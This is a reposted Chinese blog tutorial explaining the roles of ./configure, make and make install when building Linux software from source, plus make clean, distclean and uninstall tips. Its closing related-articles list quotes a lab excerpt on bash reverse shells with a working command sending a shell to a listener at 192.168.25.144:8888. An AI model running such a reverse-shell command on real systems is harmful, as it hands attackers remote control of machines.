[转帖]浅析./configure、make、make install之间的关系

浅析,configure,make,install,之间,关系 · 浏览次数 : 0

小编点评

## 关于生成可执行文件及目标文件的详细说明 **1. configure** * 这一步一般用来生成 Makefile,为下一步的编译做准备。 * 通过在 configure 后加上参数来对安装进行控制,例如安装Apache时:./configure --prefix=/opt/sudytech/apache2 意思是将该软件安装在 /opt/sudytech/apache2下面,执行文件就会安装在 /opt/sudytech/apache2/bin (而不是默认的 /usr/local/bin) * 同时一些软件的配置文件你可以通过指定 --sys-config= 参数进行设定 **2. make** * 这一步就是编译,既然configure已经生成了Makefile,那make就可以直接进行编译了。 * 大多数的源代码包都经过这一步进行编译(当然有些perl或python编写的软件需要调用perl或python来进行编译) **3. make install** * 这条命令来进行安装(当然有些软件需要先运行 make check 或 make test 来进行一些测试) * 一些软件还可以加上-with、-enable、-without、-disable 等等参数对编译加以控制(具体可以查看基础环境安装文档的参数) **4. 其他** * 通过将不同状态的sourcecode目录打包,会发现大小均不同 * make是个非常聪明的家伙,make中断了以后,他会从断点处继续执行(当然make clean一下是最好的选择) *有些软件很难缠,明明装上了报错的程序依赖包,make还是会报错

正文

https://www.cnblogs.com/zcj-0928/articles/16261389.html

 

写在前面:

可能我们都知道linux中安装软件方式的一种是:将源码sourcecode.tar.gz进行解压,然后输入./configure,接着make,最后make install,一个软件就安装完成了。但是为何要进行这几步操作?这几步操作的含义又是什么?


本文涉及的组件包为:
automake
autoconf
libtool
gcc-c++
gcc/cc
glibc(依赖)
m4(依赖)
libaio(依赖)
zlib(依赖)

简单来说,用sudy运营环境做比方
./configure          就是设计部出了一张设计稿,根据客户需要,符合各种要求
make                   就是前端组做好了模板
make install        就是实施人员将模板上传至了后台,而且做了各种模板绑定,能真正看到实际展示效果

那么实际上呢:

1、configure,这一步一般用来生成 Makefile,为下一步的编译做准备,你可以通过在 configure 后加上参数来对安装进行控制,例如安装Apache时:./configure --prefix=/opt/sudytech/apache2 意思是将该软件安装在 /opt/sudytech/apache2下面,执行文件就会安装在 /opt/sudytech/apache2/bin (而不是默认的 /usr/local/bin),资源文件就会安装在 /opt/sudytech/apache2/share(而不是默认的/usr/local/share)。同时一些软件的配置文件你可以通过指定 --sys-config= 参数进行设定。有一些软件还可以加上-with、-enable、-without、-disable 等等参数对编译加以控制(具体可以查看基础环境安装文档的参数),你可以通过 ./configure -help 察看详细的说明帮助。当configure执行的时候一般我们会发现console给我们这类的回复:
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking for xxxxxxxx... no
checking for xxxxxxxx... yes
这是configure正在检测你的安装平台的目标特征。比如它会检测你是不是有CC或GCC,并不是需要CC或GCC,其实configure它本身就是个shell脚本。

2、make,这一步就是编译,既然configure已经生成了Makefile,那make就可以直接进行编译了。大多数的源代码包都经过这一步进行编译(当然有些perl或python编写的软件需要调用perl或python来进行编译)。如果在 make过程中出现error ,一般是你的系统少了一些依赖库等,这些需要自己仔细研究错误代码。执行完之后,会发现sourcecode目录中多了一些编译产生的可执行文件及目标文件(object file,*.o)。

3、make insatll,这条命令来进行安装(当然有些软件需要先运行 make check 或 make test 来进行一些测试),这一步一般需要你有 root 权限(因为要向系统写入文件)。通常会带来相应的一系列mkdir、cp、ln操作



其实除了这三条之外还有下面讲几个非常有用的骚操作:

1、make clean:清除编译产生的可执行文件及目标文件(object file,*.o),也就是说make之后再来一条make clean就等于没有make过,这点在make出错时变得极为有用。

2、make distclean:这个就厉害了,它除了清除可执行文件和目标文件外,把configure所产生的Makefile也清除掉。运行过甚至相当于没有configure过。

3、make veryclean:veryclean是有多clean?其实和distclean一样clean。。

4、make uninstall:虽然不是每个sourcecode包都有这个功能,但是这个东西确实是挺好的,想想看当你一时脑热直接./configure、make、make install之后,都不知道程序装去哪儿了,这时候就可以用这个进行卸载(当然uninstall只能执行1次,并且sourcecode目录中要有当前安装对应的Makefile)。


其他:

1、通过将不同状态的sourcecode目录打包,会发现大小均不同(configure前后、make前后)。

2、make是个非常聪明的家伙,make中断了以后,他会从断点处继续执行(当然make clean一下是最好的选择)。

3、有些软件很难缠,明明装上了报错的程序依赖包,make还是会报错。那是因为你没有执行make clean,错误的Makefile其实已经正在生成了,仍然卡在报错的那个地方。

4、觉得make太慢?试试4线程的make吧,make -j4可以让你感受4倍cpu的畅快,但是同时并不是所有sourcecode都有多进程优化,而且make -j32、make -j64肯定不比make -j4快。(并且会报错)

5、make过之后的sourcecode目录就是这个服务器的绿色解压版目录,因为不管你怎么删安装目录,一个make install就都回来了

 

转载自https://www.sudytech.com/_s80/_t690/2018/0729/c3276a26052/page.psp

与[转帖]浅析./configure、make、make install之间的关系相似的内容:

[转帖]浅析./configure、make、make install之间的关系

https://www.cnblogs.com/zcj-0928/articles/16261389.html 写在前面: 可能我们都知道linux中安装软件方式的一种是:将源码sourcecode.tar.gz进行解压,然后输入./configure,接着make,最后make install,一

[转帖]浅析Nginx配置获取客户端真实IP的proxy_set_header、X-Real-IP、$remote_addr、X-Forwarded-For、$proxy_add_x_forwarded_for分别是什么意思

https://www.cnblogs.com/goloving/p/15588668.html 一、问题背景 在实际应用中,我们可能需要获取用户的ip地址,比如做异地登陆的判断,或者统计ip访问次数等,通常情况下我们使用 request.getRemoteAddr() 就可以获取到客户端ip,但是

[转帖]浅析IP地址及localhost、127.0.0.1和0.0.0.0的区别

https://www.cnblogs.com/goloving/p/7202151.html 127.0.0.1和0.0.0.0这两个IP地址再熟悉不过了,看起来好像就那么回事,但真正较起真来,这两个IP地址到底有什么作用以及到底有什么不同?貌似谁可以轻松回答,但张嘴却又不知从何说起(这要是面试,

[转帖]浅析nginx的server及server_name的意义详解

https://www.cnblogs.com/goloving/p/7010713.html 一、server_name 详解 当Nginx接到请求后,会匹配其配置中的server模块。匹配方法就是靠请求携带的host和port正好对应其配置中的server_name 和listen。如果做过ip

【转帖】浅析经典JVM垃圾收集器-Serial/ParNew/Parallel Scavenge/Serial Old/Parallel Old/CMS/G1

https://zhuanlan.zhihu.com/p/481256418 在讲述垃圾收集器之前,我们得先知道JVM中常见的垃圾收集算法有什么,具体请参考我的这篇博文。如果说收集算法是内存回收的方法论, 那垃圾收集器就是内存回收的实践者。下面就来详细概述下Serial、ParNew、Paralle

[转帖]浅析TiDB二阶段提交

https://cloud.tencent.com/developer/article/1608073 关键内容说明: TiDB 对于每个事务,会涉及改动的所有key中,选择出一个作为当前事务的Primary Key,其他的则为Secondary keys。 当Primary Key提交成功,标识整

[转帖]一文浅析Nginx线程池!

https://zhuanlan.zhihu.com/p/616500765 Nginx通过使用多路复用IO(如Linux的epoll、FreeBSD的kqueue等)技术很好的解决了c10k问题,但前提是Nginx的请求不能有阻塞操作,否则将会导致整个Nginx进程停止服务。 但很多时候阻塞操作是

[转帖]机械磁盘读取数据浅析

https://cdn.modb.pro/db/523794 读取硬盘上的数据,第一步就是找到所需的磁道,磁道就是以中间轴为圆心的圆环,首先我们需要找到所需要对准的磁道,并将磁头移动到对应的磁道上,这个过程叫做寻道。然后,我们需要等到磁盘转动,让磁头指向我们需要读取的数据开始的位置,这里耗费的时间称

[转帖]TiKV读写流程浅析

https://www.cnblogs.com/luohaixian/p/15227838.html 1.TiKV框架图和模块说明 图1 TiKV整体架构图 1.1.各模块说明 PD Cluster:它是由多个PD节点组成的etcd集群,PD是具有“上帝视角”的管理组件,负责存储元数据和进行负载均衡

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击